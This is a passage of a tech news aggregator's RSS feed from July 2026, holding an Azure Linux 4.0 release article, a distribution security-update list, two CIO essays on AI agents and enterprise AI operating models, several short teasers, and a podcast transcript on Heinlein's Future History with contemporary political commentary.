<p>The release introduces updated core components, expanded hardware support, a predictable long-term lifecycle, and improved compatibility for enterprise environments, reinforcing Microsoft's growing investment in the Linux ecosystem.</p>

<h2><strong>A New Chapter for Azure Linux</strong></h2>

<p>Azure Linux began as Microsoft's internal operating system for Azure services, containers, and cloud infrastructure. Over time, it evolved into the foundation for many Azure-hosted workloads.</p>

<p>With Azure Linux 4.0, Microsoft is positioning the distribution as a broader enterprise Linux platform rather than one limited to Azure infrastructure. The operating system is now available through Azure virtual machine images, container images, and downloadable ISO files for testing and deployment in a wider range of environments.</p>

<h2><strong>Built for Enterprise and Cloud Workloads</strong></h2>

<p>Unlike desktop-focused Linux distributions, Azure Linux is optimized for infrastructure, virtualization, containers, and cloud-native applications.</p>

<p>Typical deployment scenarios include:</p>

<ul><li>Cloud virtual machines</li>
	<li>Kubernetes clusters</li>
	<li>Container hosts</li>
	<li>AI infrastructure</li>
	<li>Edge computing</li>
	<li>Enterprise servers</li>
</ul><p>Microsoft has designed the distribution to provide a consistent operating system foundation across Azure services while remaining suitable for on-premises deployments.</p>

<h2><strong>Updated Core Components</strong></h2>

<p>Azure Linux 4.0 modernizes much of the operating system's software stack.</p>

<p>Highlights include:</p>

<ul><li><strong>Linux Kernel 7.0</strong></li>
	<li><strong>glibc 2.42</strong></li>
	<li><strong>OpenSSL 3.5</strong></li>
	<li><strong>Python 3.13</strong></li>
	<li><strong>OpenSSH 10</strong></li>
	<li><strong>dnf5</strong> as the default package manager</li>
</ul><p>These updates improve hardware compatibility, application support, security, and overall system performance while providing developers with a more current software platform.</p>

<h2><strong>Security Remains a Primary Focus</strong></h2>

<p>Security continues to be one of Azure Linux's defining characteristics.</p>

<p>Version 4.0 includes:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/azure-linux-40-released-microsoft-expands-its-enterprise-linux-platform-beyond-cloud" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (aardvark-dns, cups, edk2, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, kernel, libsolv, libtasn1, libxml2, nginx:1.24, nginx:1.26, oci-seccomp-bpf-hook, python-urllib3, and tomcat), Debian (rlottie), Fedora (c-...]]></description>
<link>https://tsecurity.de/de/3659934/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659934/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 10 Jul 2026 15:52:18 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (aardvark-dns, cups, edk2, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, kernel, libsolv, libtasn1, libxml2, nginx:1.24, nginx:1.26, oci-seccomp-bpf-hook, python-urllib3, and tomcat), <b>Debian</b> (rlottie), <b>Fedora</b> (c-ares, k9s, kind, libXfont2, nmap, pam, perl-DBI, php, python-pendulum, tmux, and xorg-x11-server-Xwayland), <b>Mageia</b> (7zip and ack), <b>Slackware</b> (tigervnc), <b>SUSE</b> (alloy, cargo-c, chromium, clamav, cosign, dirmngr, firefox, flannel, fluidsynth, gnutls, go1.25, go1.26, gol, GraphicsMagick, helm, kernel-devel, libaom, libexif, openQA, os-autoinst, python-Django, python-idna, python-sqlparse, rust-keylime, rustup, sccache, SUSE Manager Client Tools, SUSE_Multi-Linux_Manager Client Tools, transmission, and warewulf4), and <b>Ubuntu</b> (curl, expat, golang-go.crypto, libheif, libidn, libraw, libsoup2.4, linux, linux-azure-4.15, linux-azure-fips, linux-fips, linux-gcp-4.15, linux-gcp-fips, linux-kvm, linux-oracle, linux-aws, linux-aws-fips, linux-azure-fips, linux-fips, linux-raspi, linux-xilinx-zynqmp, and python2.7, python3.5).]]></content:encoded>
</item>
<item>
<title><![CDATA[Accelerating financial closes with help from AI agents: A pragmatic guide]]></title>
<description><![CDATA[Historically, financial closes required were tedious, manual-intensive processes, which makes them excellent candidates for agentification. AI agents can handle much of the “dirty work” associated with integrating financial data from various sources, reconciling transactions and so on. That said,...]]></description>
<link>https://tsecurity.de/de/3659462/it-nachrichten/accelerating-financial-closes-with-help-from-ai-agents-a-pragmatic-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659462/it-nachrichten/accelerating-financial-closes-with-help-from-ai-agents-a-pragmatic-guide/</guid>
<pubDate>Fri, 10 Jul 2026 13:03:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Historically, financial closes required were tedious, manual-intensive processes, which makes them excellent candidates for agentification. AI agents can handle much of the “dirty work” associated with integrating financial data from various sources, reconciling transactions and so on. That said, there are limits on how far <a href="https://www.ibm.com/think/topics/ai-agents" rel="nofollow">AI agents</a> can go in streamlining and accelerating the closing process. It’s unrealistic for businesses to remove humans from the picture entirely.</p>



<p>With this caveat in mind, here’s a look at practical approaches to driving more efficient financial closings with help from AI agents. To ground the conversation, I’ll focus on what the process might look like within environments based on SAP, although many of these lessons apply to any organization and tech stack.</p>



<h2 class="wp-block-heading">How AI agents can accelerate financial closes</h2>



<p>Although ERP systems like SAP house most or all of an organization’s financial data within a central system, closing out the books still tends to be a highly complex process, hampered by challenges like the following:</p>



<ul class="wp-block-list">
<li>Master Data reconciliation</li>



<li>Working through huge volumes of journaling</li>



<li>Identifying and resolving transaction reconciliation errors</li>



<li>Ensuring compliance with governance and regulatory requirements</li>
</ul>



<p>These are all areas where AI agents can help, even if <a href="https://www.sap.com/products/financial-management/advanced-financial-closing.html">SAP’s Advanced Financial Closin</a>g is used. For example, instead of requiring humans to assess each irregular transaction manually, businesses can employ agents to review the situation and suggest a resolution. Agents also excel at tasks like integrating multiple data sources, then identifying and addressing redundancies or inconsistencies across them.</p>



<p>Similarly, agents can continuously monitor financial workflows throughout the close cycle, flagging anomalies and potential bottlenecks before they delay reporting deadlines. They can automatically collect supporting documentation, validate data against predefined business rules and route exceptions to the appropriate stakeholders for review.</p>



<p>By reducing the amount of repetitive manual work required during closing, AI agents help finance teams focus on higher-value analysis and decision-making. This can lead to faster close times, improved accuracy and greater confidence in the integrity of financial reporting.</p>



<h2 class="wp-block-heading">The limitations of agents for closing the books</h2>



<p>That said, agents can’t handle every aspect of the closing process entirely on their own. Two key limitations apply. The first is that, as with any <a href="https://en.wikipedia.org/wiki/Large_language_model">LLM-powered technology</a>, agents are at risk of making inaccurate decisions or inferences. Businesses can’t blindly trust agents to interpret financial data accurately all of the time. A second factor is that, due to strict regulatory requirements, it’s essential in most cases for humans to sign off on financial accounts. Telling regulators or auditors that you know your books are accurate because an AI agent told you so is not a recipe for compliance success.</p>



<p>Because of these limitations, a healthy perspective on AI agents in financial closing contexts is to think of them as a way to improve visibility, agility and efficiency, not as a replacement for people. Agents can make recommendations, but humans need to be the ones who review, validate and sign off on any actions before they are final.</p>



<h2 class="wp-block-heading">Integrating AI agents into the closing process in SAP</h2>



<p>How can organizations actually take advantage of AI agents to help with closing?</p>



<p>The answer is complicated because every business’s books and closing process are different. This means that, despite the growing inventory of AI agents now available on platforms like SAP, it’s unrealistic to expect to “drag and drop” agents into existing closing workflows and have them do what they need.</p>



<p>Instead, many businesses will find that they need to build custom agentic solutions. Often, they’ll benefit from implementing multiple agents targeted at different tasks, e.g., accounts receivable, accounts payable and foreign currency exchanges, along with an <a href="https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/ai-agent-design-patterns">orchestrator agent</a> that oversees them all. Each agent will need to be tailored for the organization’s data sources, governance and compliance obligations, etc.</p>



<p>In addition, organizations must carefully define how agents interact with financial systems and employees. While some activities can be automated end-to-end, others require human review and approval to satisfy internal controls and regulatory requirements. Establishing clear workflows, escalation paths and audit trails is essential to ensure that agent-driven processes remain transparent and trustworthy. Organizations also need to invest in testing and validation to confirm that agents produce accurate results and can handle exceptions without introducing new risks into the close process.</p>



<p>The fact that SAP itself is a complex platform, with native agentic capabilities fully supported only in the latest versions, further complicates the agentification of the closing process. Enterprises need to assess the agentic support level available within the SAP version they use, then determine the extent to which they can leverage SAP’s own agents versus working with third-party agents.</p>



<p>Another key consideration is data quality. AI agents can only perform effectively when they have access to complete, accurate and timely financial information. Organizations may need to improve <a href="https://cloud.google.com/learn/what-is-data-governance" rel="nofollow">data governance</a> practices and address integration challenges before agents can deliver meaningful value. The extent to which they can do this easily depends, in large part, on how healthy their underlying SAP data governance practices are.</p>



<p>All of the above means that taking advantage of agents to accelerate closes and other financial workflows within SAP is no mean feat. It requires deep technical expertise in both agentic technology and the complex SAP software portfolio. But the investment is worth it for organizations seeking to reduce the uncertainty and slowness traditionally associated with closing the books. Over time, well-designed agentic workflows can help finance teams spend less time on manual reconciliation and exception handling while enabling faster, more predictable financial close cycles.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Operate like a Formula 1 team: The new AI operating model]]></title>
<description><![CDATA[It is lap 47 of 57.



Before the race began, the team had already processed gigabytes of race data, simulations, tire models, weather forecasts, competitor tendencies and scenario plans. But on the pit wall, there is tension.



The race leader’s tires are degrading faster than predicted. A riva...]]></description>
<link>https://tsecurity.de/de/3659196/it-security-nachrichten/operate-like-a-formula-1-team-the-new-ai-operating-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659196/it-security-nachrichten/operate-like-a-formula-1-team-the-new-ai-operating-model/</guid>
<pubDate>Fri, 10 Jul 2026 11:07:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It is lap 47 of 57.</p>



<p>Before the race began, the team had already processed gigabytes of race data, simulations, tire models, weather forecasts, competitor tendencies and scenario plans. But on the pit wall, there is tension.</p>



<p>The race leader’s tires are degrading faster than predicted. A rival has just pitted for fresh tires and is closing the gap by three-tenths of a second per lap. The lead may not hold. In short, the race is not going to plan.</p>



<p>A strategist now has only seconds to synthesize live telemetry, competitor data, weather projections, tire inventory, track position and race simulations into one call that could determine the outcome.</p>



<p>They do not have those seconds because they are simply fast. They have them because the entire system behind the decision was designed that way: the data architecture, simulation models, communication protocols, decision rights, scenario playbooks and feedback loops all work together to compress complexity into a clear decision window.</p>



<p>What if this is not just a racing story? What if it is also a blueprint for how the best enterprises will operate in the AI era?</p>



<p>This builds on a broader shift I’ve described as the <a href="https://url.usb.m.mimecastprotect.com/s/d_0XCXYGMGtpp756C6fncW3mhs?domain=cio.com" target="_blank" rel="nofollow">intent-driven future of work</a>, where enterprise work begins less with navigating systems and more with expressing outcomes, context and intent.</p>



<p>The AI advantage will not belong to companies with the most tools. It will belong to companies that redesign how work senses, decides, acts and learns.</p>



<h2 class="wp-block-heading">AI isn’t just a faster engine</h2>



<p><a href="https://url.usb.m.mimecastprotect.com/s/cf3ZCYVJMJcGGo10tGh5cxi2wD?domain=cio.com" target="_blank" rel="nofollow">The popular story about Formula 1 is usually about speed or the quality of the driver</a>. The fastest car with the most powerful engine with the driver with the quickest reflexes will win. But anyone who follows the sport closely knows that raw speed is only the starting point.</p>



<p>Every car on the track is fast. Speed gets you into the race. It does not guarantee you a win.</p>



<p>The teams that win consistently do so because of the quality of the system surrounding the car. They connect telemetry, simulations, strategy, engineering, pit operations, driver judgment and real-time learning into one high-performance operating model.</p>



<p>Every part of that operating model matters. But the best individual part alone does not win the race.</p>



<p>Enterprise AI strategy is at risk of making the same mistake that would keep an F1 team stuck in the middle of the pack: investing heavily in the engine while underinvesting in the entire race system.</p>



<p>I see enterprising investing in more copilots, more agents, more dashboards, more tools and ultimately more automation. </p>



<p>The AI systems perform their tasks at unprecedented speed. But the business outcomes do not change. In many ways, <a href="https://url.usb.m.mimecastprotect.com/s/Om9vCZZKWKuOOn4mfKiwcBwunD?domain=deloitte.wsj.com" target="_blank" rel="nofollow"><strong>AI is becoming a new operating system of work</strong></a> not because it replaces every application, but because it changes how intent, context, workflow and execution come together.</p>



<p>That is the gap many organizations are now facing. They have access to powerful AI capabilities, but they have not yet redesigned the operating model around those capabilities. The result is faster individual task execution inside disconnected systems, fragmented workflows and unclear accountability. In fact, a recent McKinsey report found that <a href="https://url.usb.m.mimecastprotect.com/s/q5DRC1Vo9ocvvwzjFXsKcVUXck?domain=mckinsey.com" target="_blank" rel="nofollow">88% use AI but two-thirds haven’t scaled it</a>.</p>



<p>The next phase of AI value will not come from simply adding more AI tools. It will come from redesigning how the enterprise senses, decides, acts and learns.</p>



<h2 class="wp-block-heading">The enterprise has too many disconnected signals</h2>



<p>Most enterprises do not suffer from a lack of signals. In fact, they are everywhere across the business.</p>



<p>Customer intent signals, campaign performance data, product usage patterns, sales activity, support interactions, contract information, financial indicators, employee sentiment, security events and operational metrics already exist throughout an organization.</p>



<p>The problem is signal fragmentation.</p>



<p>The average knowledge worker has become the integration layer of the enterprise. They move between CRM, marketing automation, analytics dashboards, spreadsheets, collaboration tools, support systems, workflow platforms and financial reports. Then they manually assemble context that no single system provides.</p>



<p>They do this to answer questions that should take seconds, not hours.</p>



<ul class="wp-block-list">
<li>Which customer needs attention?</li>



<li>Which opportunity is at risk?</li>



<li>Which process is slowing down execution?</li>



<li>Which signal should trigger action?</li>



<li>Which decision needs human judgment?</li>
</ul>



<p>In Formula 1 terms, this would be like a pit crew strategist having to call five different team members to gather tire degradation data, track conditions, competitor lap times, fuel load, weather forecasts and pit stop windows before making a race-defining call.</p>



<p>The data exists. But the latency in accessing, interpreting and acting on it makes it less valuable at the moment of decision.</p>



<p>That is the signal-to-action gap. And closing that gap is one of the most important opportunities in enterprise AI.</p>



<h2 class="wp-block-heading">The new operating model: Sense, decide, act, learn</h2>



<p>The AI-native enterprise needs to operate more like a Formula 1 team: continuously sensing, deciding, acting and learning.</p>



<ul class="wp-block-list">
<li><strong>Sense</strong> is the foundation. It means connecting the right signals across systems, workflows, customers, employees and operations into a layer that AI can reason across. This is not just reporting on the past. It is creating the ability to understand what is happening now and anticipate what is likely to happen next.</li>



<li><strong>Decide</strong> is where AI intelligence and human judgment come together. AI can surface context, detect patterns, model options and recommend actions. Humans bring business judgment, ethical reasoning, organizational context and accountability. The quality of this partnership depends on the quality of the signals and context available to both.</li>



<li><strong>Act</strong> is where intelligence turns into execution. The goal is not another recommendation sitting in a dashboard. The goal is a workflow that triggers the right action, with the right controls, at the right time.</li>



<li><strong>Learn</strong> is where the operating model becomes a competitive advantage. Every action should generate feedback. Every outcome should improve the next recommendation. Every workflow should become smarter over time.</li>
</ul>



<p>In Formula 1, every lap creates learning. Tire wear, track temperature, driver feedback, competitor movement and weather changes continuously reshape strategy.</p>



<p>The enterprise needs the same kind of learning loop.</p>



<h2 class="wp-block-heading">Semantic intelligence is the missing layer</h2>



<p>To close the signal-to-action gap, enterprises need more than data integration. They need semantic intelligence.</p>



<p>Semantic intelligence is what helps AI understand enterprise meaning. It connects business language, customer context, workflow relationships, policies, roles, systems and outcomes so AI can reason across the business, not just retrieve information from systems.</p>



<p>A customer health score is not just a number. Its meaning depends on product usage, renewal timing, support history, stakeholder engagement, commercial value, sentiment, implementation milestones and prior interventions.</p>



<p>A delayed workflow is not just a status update. It may signal unclear ownership, missing approvals, poor handoffs, missing context, poor data quality or a decision that needs escalation.</p>



<p>A sales opportunity at risk is not just a CRM field. It may reflect adoption gaps, customer sentiment, usage decline, executive sponsor changes, pricing friction, support issues or service delivery risk.</p>



<p>Without semantic intelligence, AI can summarize what happened. With semantic intelligence, AI can understand what matters, why it matters, who needs to act and what action is most likely to improve the outcome.</p>



<p>This is where enterprise AI value compounds. Foundation models will become broadly available. The model itself will not be the moat. The moat will be enterprise context, semantic intelligence, workflow intelligence, governance and learning loops.</p>



<h2 class="wp-block-heading">Redesign work before automating it</h2>



<p>There is a warning in the Formula 1 analogy that deserves attention: adding more power to a poorly designed system does not make it high performing.</p>



<p>The same is true for enterprise AI. Adding AI to a broken workflow does not fix the workflow. It just compounds the dysfunction.</p>



<p>If the data is fragmented, AI will produce incomplete recommendations confidently. If governance is disconnected from execution, AI can scale risk as quickly as it scales productivity.</p>



<p>The question teams ask shouldn’t be, “Where can we insert AI into this existing process?”</p>



<p>The better question is, “If we were designing this work from scratch, knowing what AI now makes possible, how should it operate?”</p>



<p>This pushes leaders to clarify where work starts, what signals matter, which decisions should be automated, where human judgment is required, what controls must be embedded, how outcomes should be measured and how the system should learn.</p>



<p>This is where CIOs, CTOs and technology leaders have an expanded role. AI transformation is no longer only about deploying technology. It is about redesigning how the enterprise works.</p>



<h2 class="wp-block-heading">Context becomes the differentiator</h2>



<p>In a world where every enterprise can access powerful models, context becomes the differentiator.</p>



<p>The winning organizations will not be the ones with the most AI tools. They will be the ones with the strongest enterprise context and the clearest path from signal to action.</p>



<p>That context includes customer history, product usage, workflow patterns, decision history, business rules, governance standards, risk boundaries, organizational knowledge and outcome feedback.</p>



<p>It also includes knowing what happened after a decision was made. Did the action improve retention? Did it accelerate a deal? Did it reduce cycle time? Did it improve customer experience? Did it create risk? Did it scale?</p>



<p>Without that feedback, AI remains a recommendation layer. With it, AI becomes part of a learning operating model.</p>



<p>This is why the most important AI investments are not always the most visible ones. Data quality, identity, access, governance, workflow integration, observability, semantic models, feedback loops and change management may not sound as exciting as the latest AI agent. But they are what allow AI to create durable enterprise value.</p>



<h2 class="wp-block-heading">The CIO as architect of the race system</h2>



<p>The CIO’s role is evolving from technology operator to architect of the enterprise race system.</p>



<p>That means connecting strategy, workflows, data, platforms, governance, security, talent and execution into an operating model that can move faster without losing control. The CIO’s job is no longer just to provide platforms. It is to design the conditions where intelligence can move safely and effectively through the enterprise with the right context, controls, accountability and feedback loops.</p>



<p>Business teams need the ability to experiment and innovate. But they need to do so within clear standards for data access, identity, security, privacy, model usage, auditability, human oversight and business accountability.</p>



<p>This is the balance every enterprise needs to strike: speed with control.</p>



<p>The future is federated innovation with centralized guardrails. It is an enterprise operating model where more people can create value with AI, but within a trusted architecture that protects the company, the customer and the quality of decisions.</p>



<p>The companies that pull ahead in the next decade will not be the ones that deployed AI first or assembled the largest portfolio of tools.</p>



<p>They will be the ones who built the enterprise equivalent of a winning Formula 1 race system: a connected operating model.</p>



<p>In Formula 1, the gap between the team that wins the championship and the team that finishes fourth is often measured in tenths of a second per lap. Compounded over a race distance, those tenths become decisive.</p>



<p>The same dynamic is emerging in enterprise AI.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die wichtigsten News der Kalenderwoche 28/2026: Azure, KI und mehr]]></title>
<description><![CDATA[Was hat sich in der vergangenen Woche für Developer und IT-Pros getan? Was waren die wichtigsten Ankündigungen? Gab es neue Lernressourcen? Unser TechWiese-Team hat jede Menge Links für dich zusammengestellt.]]></description>
<link>https://tsecurity.de/de/3659019/it-nachrichten/die-wichtigsten-news-der-kalenderwoche-282026-azure-ki-und-mehr/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659019/it-nachrichten/die-wichtigsten-news-der-kalenderwoche-282026-azure-ki-und-mehr/</guid>
<pubDate>Fri, 10 Jul 2026 09:47:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Was hat sich in der vergangenen Woche für Developer und IT-Pros getan? Was waren die wichtigsten Ankündigungen? Gab es neue Lernressourcen? Unser TechWiese-Team hat jede Menge Links für dich zusammengestellt.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Plant Mushrooms in Minecraft: Grow Fast]]></title>
<description><![CDATA[Knowing how to plant mushrooms in Minecraft is a useful skill that opens up a reliable food source and crafting ingredient. Mushrooms come in two varieties: red and brown. They can be harvested and used to make food or potions. When growing mushrooms, it is important to find the right type of env...]]></description>
<link>https://tsecurity.de/de/3658835/betriebssysteme/how-to-plant-mushrooms-in-minecraft-grow-fast/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658835/betriebssysteme/how-to-plant-mushrooms-in-minecraft-grow-fast/</guid>
<pubDate>Fri, 10 Jul 2026 07:50:47 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Knowing how to plant mushrooms in Minecraft is a useful skill that opens up a reliable food source and crafting ingredient. Mushrooms come in two varieties: red and brown. They can be harvested and used to make food or potions. When growing mushrooms, it is important to find the right type of environment. Mushrooms like […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/how-to-grow-mushrooms-in-minecraft/">How to Plant Mushrooms in Minecraft: Grow Fast</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft 365: How to disable Azure AD Sync (Entra Sync)]]></title>
<description><![CDATA[Sometimes you may want to disconnect from the Microsoft 365 Cloud.Whether you’re working in a test environment, planning to switch providers, or simply want to pause synchronization temporarily—there are valid reasons to […]]]></description>
<link>https://tsecurity.de/de/3658595/it-nachrichten/microsoft-365-how-to-disable-azure-ad-sync-entra-sync/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658595/it-nachrichten/microsoft-365-how-to-disable-azure-ad-sync-entra-sync/</guid>
<pubDate>Fri, 10 Jul 2026 05:17:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sometimes you may want to disconnect from the Microsoft 365 Cloud.Whether you’re working in a test environment, planning to switch providers, or simply want to pause synchronization temporarily—there are valid reasons to […]]]></content:encoded>
</item>
<item>
<title><![CDATA[A questionable breach, bad routers at home and at work and AI gives defenders a win]]></title>
<description><![CDATA[This episode covers a hacker’s claim of stealing 35GB from Accenture—including source code, Azure personal access tokens, RSA keys, and SSH keys—while Accenture calls it an isolated, remediated matter, leaving uncertainty about potential downstream risk to its Fortune 500-heavy client…
Read more ...]]></description>
<link>https://tsecurity.de/de/3658564/it-security-nachrichten/a-questionable-breach-bad-routers-at-home-and-at-work-and-ai-gives-defenders-a-win/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658564/it-security-nachrichten/a-questionable-breach-bad-routers-at-home-and-at-work-and-ai-gives-defenders-a-win/</guid>
<pubDate>Fri, 10 Jul 2026 04:37:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This episode covers a hacker’s claim of stealing 35GB from Accenture—including source code, Azure personal access tokens, RSA keys, and SSH keys—while Accenture calls it an isolated, remediated matter, leaving uncertainty about potential downstream risk to its Fortune 500-heavy client…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-questionable-breach-bad-routers-at-home-and-at-work-and-ai-gives-defenders-a-win/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-questionable-breach-bad-routers-at-home-and-at-work-and-ai-gives-defenders-a-win/">A questionable breach, bad routers at home and at work and AI gives defenders a win</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4680: Robert A. Heinlein: The Future History, Part 2]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.
In his early days as a writer, Heinlein wrote his stories in the context of a shared universe that he called the Future History. These were mostly short stories at first, with the occasional novella. But they include some great stories.
The Future ...]]></description>
<link>https://tsecurity.de/de/3658424/podcasts/hpr4680-robert-a-heinlein-the-future-history-part-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658424/podcasts/hpr4680-robert-a-heinlein-the-future-history-part-2/</guid>
<pubDate>Fri, 10 Jul 2026 02:01:49 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>
<p>In his early days as a writer, Heinlein wrote his stories in the context of a shared universe that he called the Future History. These were mostly short stories at first, with the occasional novella. But they include some great stories.</p>
<h1 class="entry-title">The Future History, Part 2</h1>
						
<p>There were a few key themes running through Heinlein’s body of work. One we have already remarked upon, individual freedom, which had to be protected from any source of power, including both government and private corporations. This was essentially a libertarian perspective, but unlike many of today’s libertarians he was equally averse to the corporate type of power as a threat. But he had a complex view of the world which has resisted some attempts to pigeonhole him. He started out as a socialist, and while he didn’t remain one, he never became a knee-jerk reactionary either. In fact, he clearly despised them just as much. One way of looking at his body of work is that he explored the ramifications of different social policies through his stories, but in most cases the needs of a good story came first in the early years. In his later works he often surrendered to the temptation to pontificate, which reduced the enjoyment of them somewhat for anyone who was not already in agreement with his opinions</p>

<p>The second major theme you see throughout all of his works is the idea of the competent individual. He admired anyone who could do a job well, and clearly did not care whether they were man or woman, nor black or white. Alexei Panshin writes, in <a href="https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015" data-type="link" data-id="https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015" target="_blank" rel="noreferrer noopener">Heinlein in Dimension</a>: </p>

<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“There is one unique and vivid human Heinlein character, but he is a composite of Joe-Jim Gregory, Harriman, Waldo, Lazarus Long, Mr. Kiku, and many others, rather than any one individual.  I call the composite the Heinlein Individual.  . . .  It is a single personality that appears in three different stages and is repeated in every Heinlein book in one form or another.</p>

<p>“The earliest stage is that of the competent but naïve youngster. . . .  The second stage is the competent man in full glory, the man who knows how things work. . . .  The last stage is the wise old man who not only knows how things work, but why they work, too.”</p>
</blockquote>

<p>Harriman we have already encountered in <em>The Man Who Sold The Moon</em>, and the others appear later. The Heinlein Individual, as he is often referred to, appears in many of Heinlein’s stories.</p>

<p>A third major theme has to do with morality and religion. Heinlein grew up in what he considered the heart of the Bible Belt, in Missouri, and saw first-hand how the evangelical Christians operated, and despised what he saw. As someone who believed in individual freedom, he could never surrender to someone else’s idea of how he should live his life. He saw them as a danger to his ideal libertarian society, and this shows up very early in his work. He personified the good, upright, church-going folk as “Mrs. Grundy”, and while you might want to draw the drapes to keep her from knowing what you were doing, you should never let her dictate how you would live your life. Revolt in 2100 begins the exploration of this in detail.</p>

<p>There is a chart of the future history at <a href="https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm" data-type="link" data-id="https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm" target="_blank" rel="noreferrer noopener">Baen Books</a>, and in it we see that the 1960s were what Heinlein called The Crazy Years. (Remember, he conceived this in the 1940s and 1950s.) But in 2012 the major thing occurred when Nehemiah Scudder, a backwoods preacher, managed to get elected as President. This would be the last election held under the U.S. Constitution as he established a religious dictatorship that lasted a couple of generations. IS this plausible? Heinlein wrote about this:</p>

<p>“<em>As for … the idea that we could lose our freedom by succumbing to a wave of religious hysteria, I am sorry to say that I consider it possible. I hope that it is not probable. But there is a latent deep strain of religious fanaticism in this, our culture; it is rooted in our history and it has broken out many times in the past.</em></p>

<p><em>“It is with us now; there has been a sharp rise in strongly evangelical sects in this country in recent years, some of which hold beliefs theocratic in the extreme, anti-intellectual, anti-scientific, and anti-libertarian.</em>“</p>

<p>His background in the Bible Belt is what informs a lot of his thinking. He goes on to describe how this might happen:</p>

<p><em>“Throw in a Depression for good measure, promise a material heaven here on earth, add a dash of anti-Semitism, anti-Catholicism, anti-Negroism, and a good large dose of anti-“furriners” in general and anti-intellectuals here at home, and the result might be something quite frightening — particularly when one recalls that our voting system is such that a minority distributed as pluralities in enough states can constitute a working majority in Washington.”</em></p>

<p>As the science fiction author <a href="https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a" data-type="link" data-id="https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a" target="_blank" rel="noreferrer noopener">David Brin</a> points out, Heinlein accurately predicted much of what we are going through in the United States right now. There is an emerging dictatorship in the United States, promoted by right-wing religious groups. The “material heaven here on earth” is represented by the Prosperity Gospel, prominent in the Trump movement, and so on. Where the Prophet used a restored Ku Klux Klan as his muscle, we have The Proud Boys, and so on. It really does track very closely. Read David Brin’s article for more on this.</p>

